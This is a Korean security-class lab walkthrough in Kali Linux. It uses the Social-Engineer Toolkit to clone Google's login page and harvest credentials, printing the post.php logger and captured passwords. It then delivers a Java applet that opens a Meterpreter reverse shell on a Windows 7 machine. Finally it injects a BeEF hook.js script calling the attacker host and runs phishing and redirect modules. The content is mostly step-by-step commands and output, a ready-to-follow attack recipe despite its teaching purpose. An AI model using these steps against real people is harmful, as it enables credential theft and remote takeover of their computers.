● 이 도구는 메타스포로잇에 기반을 두고 있고 공격 기법 중 하나인 Autopwn 공격은 내장되어 있는 기능 중 엔맵(nmap)을 통해 네트워크 스캐닝 작업을 하여 대상 시스템을 검색하고, 그에 대한 운영체제, 포트, IP 주소를 분석하며 그에 해당하는 모든 취약점을 자동화 스크립트로 공격한다.
● 칼리리눅스에서는 SET(사회 공학 기법)에 통합되었다.

SET(Social Engineering Tech., 사회 공학적 공격 기법)
● 사회공학이란 컴퓨터 보안에서 인간 상호작용의 깊은 신뢰를 바탕으로 사람들을 속여 정상 보안 절차를 깨트리기 위한 비기술적 침입 수단이다.
● APT(Advanced Persistent Threat) 공격이 이제 공공기관과 특정 사용자를 타겟 대상으로 접근하다 보니 더욱더 내부적인 보안에 신경을 쓰게 되었다.


SET 실행하는 방법
    Kali Linux > Exploitation Tools > Social Engineering Toolkit > setoolkit
    or
    # setoolkit




[실습] Fake Google WEB Site 구성 - ID/PASS 모으기 위한 설정

(KaliLinux)

① SET 주설정 파일(EX: set_config) 설정

    KaliLinux 1.x) /usr/share/set/config/set_config
    KaliLinux 2.x) /usr/share/set/config/ 디렉토리 자체가 존재하지 않는다.
                        -> 칼리 2.0 버전에서는 설정할 필요가 없다.

# vi /usr/share/set/config/set_config

### Path to the pem file to utilize certificates with the web attack vector (required)
### You can create your own utilizing set, just turn on self_signed_cert
### If your using this flag, ensure openssl is installed! To turn this on turn SELF_SIGNED_CERT
### to the on position.
[수정전]
SELF_SIGNED_CERT=OFF
[수정후]
SELF_SIGNED_CERT=ON

-> http://chogar.blog.me/80210217409 칼리리눅스에서 SET 사용법에 대한 자세한 내용
-> 칼리리눅스 2.0 버전에서는 set_conf 파일이 존재하지 않는다. 따라서, 칼리리눅스 2.0 버전인 경   우에는 이 파일을 설정할 필요가 없다.



② SE Tool Kit 실행(Fake Google WEB Site 구성 - ID/PASS 모으기 위한 설정)
# setoolkit

[*] Kali bleeding edge was not detected to be on...
[*] Kali install detected. Note that if you are not using bleeding edge repositories, your version of SET will be roughly 4 months behind.
[*] It is recommended to switch to bleeding-edge repos to ensure you are running the latest version of SET and other tools.
Press [enter] to accept that SET is several months out of date and probably contains bugs and issues.
<ENTER>

[-] New set.config.py file generated on: 2016-01-09 02:26:17.580522
[-] Verifying configuration update...
[*] Update verified, config timestamp is: 2016-01-09 02:26:17.580522
[*] SET is using the new config, no need to restart

Copyright 2015, The Social-Engineer Toolkit (SET) by TrustedSec, LLC
All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
    * Neither the name of Social-Engineer Toolkit nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

The above licensing was taken from the BSD licensing and is applied to Social-Engineer Toolkit as well.

Note that the Social-Engineer Toolkit is provided as is, and is a royalty free open-source application.

Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit is due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you ever see the creator of SET in a bar, you should give him a hug and buy him a beer. Hug must last at least 5 seconds. Author holds the right to refuse the hug (most likely will never happen) or the beer (also most likely will never happen).

The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only.

Do you agree to the terms of service [y/n]: y
[3;J


           ..######..########.########
           .##....##.##..........##...
           .##.......##..........##...
           ..######..######......##...
           .......##.##..........##...
           .##....##.##..........##...
           ..######..########....##...  

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
[---]                 Version: 6.5.8                   [---]
[---]               Codename: 'Mr. Robot'              [---]
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]

        Welcome to the Social-Engineer Toolkit (SET).
         The one stop shop for all of your SE needs.

     Join us on irc.freenode.net in channel #setoolkit

   The Social-Engineer Toolkit is a product of TrustedSec.

             Visit: https://www.trustedsec.com

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 4
[*] You are running Kali Linux which maintains SET updates.
[*] You can enable bleeding-edge repos for up-to-date SET.

..... (중략) .....

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 5
[-] New set.config.py file generated on: 2016-01-09 02:31:00.826831
[-] Verifying configuration update...
[!] Update failed? Timestamp on config file is: 2016-01-09 02:26:17.580522
[*] SET is using the new config, no need to restart
[3;J

                      ..:::::::::..
                  ..:::aad8888888baa:::..
              .::::d:?88888888888?::8b::::.
            .:::d8888:?88888888??a888888b:::.
          .:::d8888888a8888888aa8888888888b:::.
         ::::dP::::::::88888888888::::::::Yb::::
        ::::dP:::::::::Y888888888P:::::::::Yb::::
       ::::d8:::::::::::Y8888888P:::::::::::8b::::
      .::::88::::::::::::Y88888P::::::::::::88::::.
      :::::Y8baaaaaaaaaa88P:T:Y88aaaaaaaaaad8P:::::
      :::::::Y88888888888P::|::Y88888888888P:::::::
      ::::::::::::::::888:::|:::888::::::::::::::::
      `:::::::::::::::8888888888888b::::::::::::::'
       :::::::::::::::88888888888888::::::::::::::
        :::::::::::::d88888888888888:::::::::::::
         ::::::::::::88::88::88:::88::::::::::::
          `::::::::::88::88::88:::88::::::::::'
            `::::::::88::88::P::::88::::::::'
              `::::::88::88:::::::88::::::'
                 ``:::::::::::::::::::''
                      ``:::::::::''

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
[---]                 Version: 6.5.8                   [---]
[---]               Codename: 'Mr. Robot'              [---]
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]

        Welcome to the Social-Engineer Toolkit (SET).
         The one stop shop for all of your SE needs.

     Join us on irc.freenode.net in channel #setoolkit

   The Social-Engineer Toolkit is a product of TrustedSec.

             Visit: https://www.trustedsec.com

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 1

..... (중략) .....

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) Third Party Modules

  99) Return back to the main menu.

set> 2

The Web Attack module is  a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method
   8) HTA Attack Method

  99) Return to Main Menu

set:webattack> 3

    [TERM2] 웹서비스 초기화(이전에 실습한 적이 있는 경우)
    # cd /var/www/html
    # rm -rf /var/www/html/*
    # service apache2 restart
    # pgrep -lf apache2


 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   
   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack> 1
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this
set:webattack> IP address for the POST back in Harvester/Tabnabbing: 192.168.20.50

  1. Java Required
  2. Google
  3. Facebook
  4. Twitter
  5. Yahoo

set:webattack> Select a template: 2

[*] Cloning the website: http://www.google.com
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] Apache is set to ON - everything will be placed in your web root directory of apache.
[*] Files will be written out to the root directory of apache.
[*] ALL files are within your Apache directory since you specified it to ON.
[!] Apache may be not running, do you want SET to start the process? [y/n]: y
[ ok ] Starting apache2 (via systemctl): apache2.service.
Apache webserver is set to ON. Copying over PHP file to the website.
Please note that all output from the harvester will be found under apache_dir/harvester_date.txt
Feel free to customize post.php in the /var/www/html directory
[*] All files have been copied to /var/www/html
{Press return to continue}
<ENTER>

    [TERM2] Fake Google 사이트 확인
    # cd /var/www/html  
    # ls
    # cat index.html
    # cat post.php
    # cat harvester_*.txt
    # pgrep -lf apache2

The Web Attack module is  a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method
   8) HTA Attack Method

  99) Return to Main Menu

set:webattack> 99

..... (중략) .....

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) Third Party Modules

  99) Return back to the main menu.

set> 99

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 99

 Thank you for shopping with the Social-Engineer Toolkit.

 Hack the Gibson...and remember...hugs are worth more than handshakes.




(windows7)

③ 윈도우 7 에서 웹브라우저(EX: firefox)를 통해 192.168.20.50 웹서버에 접속

firefox 브라우저를 사용하여 아래 사이트에 접속한다.
-> http://192.168.20.50/
-> 구글 사이트가 보임





적당한 아이디/패스워드를 입력한다.(적당히 입력한다.)
● ID : 이메일(EX: test1234@gmail.com)
● PASS: 암호 (EX: test1234)
(KaliLinux)

④ 칼리리눅스에서 ID/PASS 수집된 정보 확인

    KaliLinux 1.X) /var/www
    KaliLinux 2.X) /var/www/html

# cd /var/www/html
# cat harvester_*.txt

Array
(
    [GALX] => SJLCkfgaqoM
    [continue] => https://accounts.google.com/o/oauth2/auth?zt=ChRsWFBwd2JmV1hIcDhtUFdldzBENhIfVWsxSTdNLW9MdThibW1TMFQzVUZFc1BBaURuWmlRSQ%E2%88%99APsBz4gAAAAAUy4_qD7Hbfz38w8kxnaNouLcRiD3YTjX
    [service] => lso
    [dsh] => -7381887106725792428
    [_utf8] => ☃
    [bgresponse] => js_disabled
    [pstMsg] => 1
    [dnConn] =>
    [checkConnection] =>
    [checkedDomains] => youtube
    [Email] => jang4sc@hanmail.net
    [Passwd] => test1234
    [signIn] => Sign in
    [PersistentCookie] => yes
)


# cat harvester_*.txt | egrep '(Email|Passwd)'

    [Email] => jang4sc@hanmail.net
    [Passwd] => test1234


# cat post.php
(KaliLinux 1.X)

<?php $file = 'harvester_2015-04-23 10:06:14.701310.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?>

(KaliLinux 2.X)

<?php $file = 'harvester_2015-09-16 11:22:29.881599.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=http://www.google.com" />


# vi index.html

/post.php
  <form novalidate method="post" action="http://192.168.20.50/post.php"http://192.168.20.50/ServiceLoginAuth" id="gaia_loginform">


    [참고] 파일 백업
    # mkdir -p /backup
    # cd /var/www/html
    # tar cvzf /backup/FakeWEB1.tar.gz .
    # rm -rf /var/www/html/*



⑤ SE Tool Kit 실행(Fake Google WEB Site 구성) - Java Applet Attack(악성 프로그램 유포)
(KarlLinux)
# setoolkit

..... (중략) .....

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 1

..... (중략) .....

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

set> 2

The Web Attack module is  a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method
   8) HTA Attack Method
  99) Return to Main Menu

set:webattack> 1

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   
   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack>1
[-] NAT/Port Forwarding can be used in the cases where your SET machine is
[-] not externally exposed and may be a different IP address than your reverse listener.
set> Are you using NAT/Port Forwarding [yes|no]: no
[-] Enter the IP address of your interface IP or if your using an external IP, what
[-] will be used for the connection back and to house the web server (your interface address)
set:webattack> IP address or hostname for the reverse connection: 192.168.20.50

[-------------------------------------------]
Java Applet Configuration Options Below
[-------------------------------------------]

Next we need to specify whether you will use your own self generated java applet, built in applet, or your own code signed java applet. In this section, you have all three options available. The first will create a self-signed certificate if you have the java jdk installed. The second option will use the one built into SET, and the third will allow you to import your own java applet OR code sign the one built into SET if you have a certificate.

Select which option you want:

1. Make my own self-signed certificate applet.
2. Use the applet built into SET.
3. I have my own code signing certificate or applet.

Enter the number you want to use [1-3]: 2
[*] Okay! Using the one built into SET - be careful, self signed isn't accepted in newer versions of Java :(

  1. Java Required
  2. Google
  3. Facebook
  4. Twitter
  5. Yahoo

set:webattack> Select a template:2

[*] Cloning the website: http://www.google.com
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: llOdplapGIWHnqh
[*] Malicious java applet website prepped for deployment


What payload do you want to generate:

  Name:                                       Description:

   1) Meterpreter Memory Injection (DEFAULT)  This will drop a meterpreter payload through PyInjector
   2) Meterpreter Multi-Memory Injection      This will drop multiple Metasploit payloads via memory
   3) SE Toolkit Interactive Shell            Custom interactive reverse toolkit designed for SET
   4) SE Toolkit HTTP Reverse Shell           Purely native HTTP shell with AES encryption support
   5) RATTE HTTP Tunneling Payload            Security bypass payload that will tunnel all comms over HTTP
   6) ShellCodeExec Alphanum Shellcode        This will drop a meterpreter payload through shellcodeexec
   7) Import your own executable              Specify a path for your own executable

set:payloads> 1
set:payloads> PORT of the listener [443]: <ENTER>

Select the payload you want to deliver via shellcode injection

   1) Windows Meterpreter Reverse TCP
   2) Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager
   3) Windows Meterpreter (Reflective Injection) Reverse HTTP Stager
   4) Windows Meterpreter (ALL PORTS) Reverse TCP

set:payloads> Enter the number for the payload [meterpreter_reverse_tcp]: 1
[*] Prepping pyInjector for delivery..
[*] Prepping website for pyInjector shellcode injection..
[*] Base64 encoding shellcode and prepping for delivery..
[*] Multi/Pyinjection was specified. Overriding config options.
[*] Generating x86-based powershell injection code...
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass execution restriction policy...
[*] Apache appears to be running, moving files into Apache's home

***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************

[--] Tested on Windows, Linux, and OSX [--]
[--] Apache web server is currently in use for performance. [--]
[*] Moving payload into cloned website.
[*] The site has been moved. SET Web Server is now listening..
[-] Launching MSF Listener...
[-] This may take a few to load MSF...
                                                  
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2015121501                   ]
+ -- --=[ 1517 exploits - 871 auxiliary - 256 post        ]
+ -- --=[ 436 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (/root/.set/meta_config)> set LPORT 443
LPORT => 443
resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding => false
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.20.50:443
[*] Starting the payload handler...
msf exploit(handler) >


(windows 7)

⑥ 윈도우 7에서 브라우저를 통해 192.168.20.50 웹서버에 접속

(선수작업)
시작 > 모든 프로그램 > Java > Java 구성 > "보안" 탭 > [ V ] 높음
예외 사항 사이트 목록 > 사이트 목록 편집 > 추가 > "http://192.168.20.50"




Mozilla Firefox 브라우저를 사용한다.
http://192.168.20.50/
-> Java Selevet download 한다.
-> www.google.com 사이트로 포워딩 된다.








⑦ 칼리리눅스에서 연결된 세션(Reverse TCP Session)에 대해 확인
(KaliLinux)

..... (중략) .....

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.20.50:443
[*] Starting the payload handler...
msf exploit(handler) >
[*] Sending stage (957487 bytes) to 192.168.20.201
[*] Meterpreter session 1 opened (192.168.20.50:443 -> 192.168.20.201:49317) at 2016-01-09 03:40:46 +0900
<ENTER>
msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                   Information          Connection
  --  ----                   -----------          ----------
  1   meterpreter x86/win32  WIN7\soldesk @ WIN7  192.168.20.50:443 -> 192.168.20.201:49317 (192.168.20.201)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : SOLDESK-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : ko_KR
Meterpreter     : x86/win32

meterpreter > quit
[*] Shutting down Meterpreter...

[*] 192.168.20.202 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > quit
[*] Everything has been moved over to Apache and is ready to go.

      Press <return> to continue
<ENTER>

set:webattack>99
set> 99
set> 99

-> 종료한다.

# cd /var/www/html
# ls

1vHuSK.jar  DjWZVG0  index.html  msf.exe


# file *

1vHuSK.jar: Zip archive data, at least v2.0 to extract
DjWZVG0:    PE32 executable (console) Intel 80386, for MS Windows
index.html: HTML document, UTF-8 Unicode text, with very long lines
msf.exe:    PE32 executable (console) Intel 80386, for MS Windows


    [참고] jar 명령어 사용법(The Java Archive Tool)
    # jar cvf file.jar file1 file2 file3   /* c: create, v: verbose, f: file */
    # jar tvf file.jar                     /* t: content */
    # jar xvf file.jar                     /* x: extract */

# jar tvf 1vHuSK.jar

   237 Thu Oct 15 08:00:10 KST 2015 META-INF/MANIFEST.MF
   255 Thu Oct 15 08:00:10 KST 2015 META-INF/SIGNAPPL.SF
  1114 Thu Oct 15 08:00:10 KST 2015 META-INF/SIGNAPPL.DSA
     0 Thu Oct 15 08:00:08 KST 2015 META-INF/
  5881 Thu Oct 15 08:00:08 KST 2015 Java.class


# jar xvf 1vHuSK.jar
-> 출력 내용 생략

# ls

1vHuSK.jar  DjWZVG0  Java.class  META-INF  index.html  msf.exe


# file *

1vHuSK.jar: Zip archive data, at least v2.0 to extract
DjWZVG0:    PE32 executable (console) Intel 80386, for MS Windows
Java.class: compiled Java class data, version 50.0 (Java 1.6)
Java.jad:   ASCII text
META-INF:   directory
index.html: HTML document, UTF-8 Unicode text, with very long lines
msf.exe:    PE32 executable (console) Intel 80386, for MS Windows


# cat Java.class
-> compliled java class 파일이므로 정상적으로 보이지는 않는다.

# jad Java.class      /* jad : Java Decompiler */

Parsing Java.class...The class file version is 50.0 (only 45.3, 46.0 and 47.0 are supported)
 Generating Java.jad
Overlapped try statements detected. Not all exception handlers will be resolved in the method init
Couldn't fully decompile method init
Couldn't resolve all exception handlers in method init
Couldn't fully decompile method m
Couldn't fully decompile method <init>


# cat java.jad

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name:   v

import java.applet.Applet;
import java.applet.AppletContext;
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.Random;
import sun.misc.BASE64Decoder;

public class Java extends Applet
{

    public void init()
    {
        Random random;
        Object obj1;
        String s;
        String s1;
        Object obj2;
        Object obj3;
..... (중략) .....

-> 파일의 내용은 개별적으로 분석해 보기 바란다.



    [참고] 파일 백업
    # cd /var/www/html
    # tar cvzf /backup/FakeWEB2.tar.gz .

(정리)
(실습1) Fake Site 구성(EX: google site)
    -> (목적) ID/PASS 수집
(실습2) Fake Site 구성(EX: google site)
    -> (목적) 악성 프로그램 설치(백도어)

(클라이언트) windows7
http://192.168.20.50



[실습] 칼리 리눅스 사용하기(웹 브라우저 해킹)

WEB Attack : XSS(Cross Side Script)
● BeEF(비프) XSS 프레임워크: 사용자 권한 획득

BeEF(Browser Exploit Framwork)
● 사용자 웹 브라우저로 웹페이지를 읽을 때 자바 스크립트 형태로 동작하며, 사용자 PC의 정보 수집 부터 메타 스플로잇 모듈을 이용한 광범위한 공격까지 가능한 도구이다.

XSS(Cross Side Script) 취약점
● 웹에서 사용하는 클라이언트 스크립트인 자바스크립트, VB 스크립트, CSS, 에이젝스(Ajax)등을 통해 스크립트에 접근한 사용자들에게 특정한 액션을 일으키게 하는 것을 의미한다.
● 특정한 액셕이라는 것은 악성 코드 유포나, 윔, 바이러스 배포등이 보통의 목적이다. 또한 사용자 정보를 수집할 수도 있다.

XSS 취약점(웹 애플리케이션의 모든 변수 입력값에 대한 테스트)의 분류
● (첫번째) Non-persistent(Reflected XSS)이메일, 메신저, 게시판 링크 기능등을 이용해 사용자를 유도하고, 사용자가 이를 클릭했을 경우 액션이 발생된다. 하지만 웹사이트에 저장이 되어 있지 않기 때문에 사용자들을 유도하려면 사용자의 클릭이 필요하다.
● (두번째) Persistent(Stored XSS) 게시판 작성자, 제목, 내용 부분등 공격자가 삽입할 수 있는 모든 부분에 스크립트를 삽입해 사용자를 유도하는 공격 기법이다. 보통 웹사이트(데이터베이스에 저장)에 남아 있기 때문에 많은 사용자들을 쉽게 유도할 수 있다.


■ 사용시스템
- KaliLinux
- Windows 7 (Chrome 브라우저)

① BeEF 실행
    ■ Beef 실행하는 방법
    Kalilinux > Exploitation Tools > BeFF XSS Framework > beff
    or
    # beef-xss

# beef-xss

[*] Please wait as BeEF services are started.
[*] You might need to refresh your browser once it opens.
process already running.


■ Beff 실행화면



-> beef-xss 명령어를 수행하면 웹페이지가 자동으로 뜨게 된다.
-> http://127.0.0.1:3000/ui/authentication
    ID : beef
    PASS: beef
    [참고] 에러메세지
    # beef-xss
    [*] Please wait as BeEF services are started.
    [*] You might need to refresh your browser once it opens.
    -> 자동으로 뜨는 웹페이지에 "Can't not connect server" 에러메세지 발생
    # service postgresql start
    # beef-xss

    [참고] 만약 beef-xss 툴이 자동으로 실행되지 않는다면
    # cd /usr/share/beef-xss
    # build install
    # beef-xss

② 클라언트가 접근할 페이지 임의로 생성

    ■ 웹디렉토리(Document Root)
    KaliLinux 1.X) /var/www/*
    KaliLinux 2.X) /var/www/html/*

# cd /var/www/html
# rm -rf /var/www/html/*
# vi index.html

<HTML>
<BODY>
<CENTER><H1> It works! </H1></CENTER>
<script src="http://192.168.20.50:3000/hook.js"></script>
<P>This is the default web page for this server.</P>
<P>The Web Server software is running but no content has been added, yet.</P>
</BODY>
</HTML>

-> <script> .... </script> 구문을 삽입한다.
-> 클라이언트에서 해당 페이지를 읽을 때 hook.js가 실행된다.

# service apache2 restart

[ ok ] Restarting web server: apache2 ... waiting .



(windows 7)

Chrome Broser를 이용하여 아래 URL을 확인한다.
http://192.168.20.50
-> 페이지를 확인한다.
    (주의) Chrome Broswer 통해 확인, '인터넷익스플러워'는 잘되지 않는다.
           
-> 클라이언트에서는 hook.js 파일이 실행 되었는지는 모른다.
-> <F11><F12> 선택하여 소스보기를 한다.






(KaliLinux)

왼쪽 Hooked Browsers 메뉴을 확인하면 사용자의 IP 정보가 보인다.

왼쪽 Hooked Browsers 에서 192.168.20.202 선택한다.
오른쪽 commands 항목 중 Module Tree 선택하고
    > Social Engineering 선택하고
        > Google Phishing 선택하고
            Execute 버튼 클릭한다.




-> 구글과 비슷한 사이트(실제는 구글 사이트가 아니다.)로 옮겨서 여러가지 작업을 할 수 있도록 하는 방법이다.
-> [참고] 색깔 표시의 의미
    녹색    : 사용자가 그 모듈의 작동을 알아채지 못할 것이라는 뜻이다.
    노란색    : 경고 메세지 상자 등을 통해서 사용자가 공격을 알아 챌 수 있음을 뜻한다.
    빨간색    : 해당 공격이 작동할 가능성이 낮음을 뜻한다.
    회색    : 대상 구성에 대해 해당 공격이 작동한다고 확인된 적이 없음을 뜻한다.

(windows7)
변경된 웹페이지를 확인한다.



(KaliLinux)

Hooked Browsers > Online Browsers > 192.168.20.50 > 192.168.20.202
    Commands 탭 > Module Tree > Browser >
        Hooked Domain > Redirect Browser
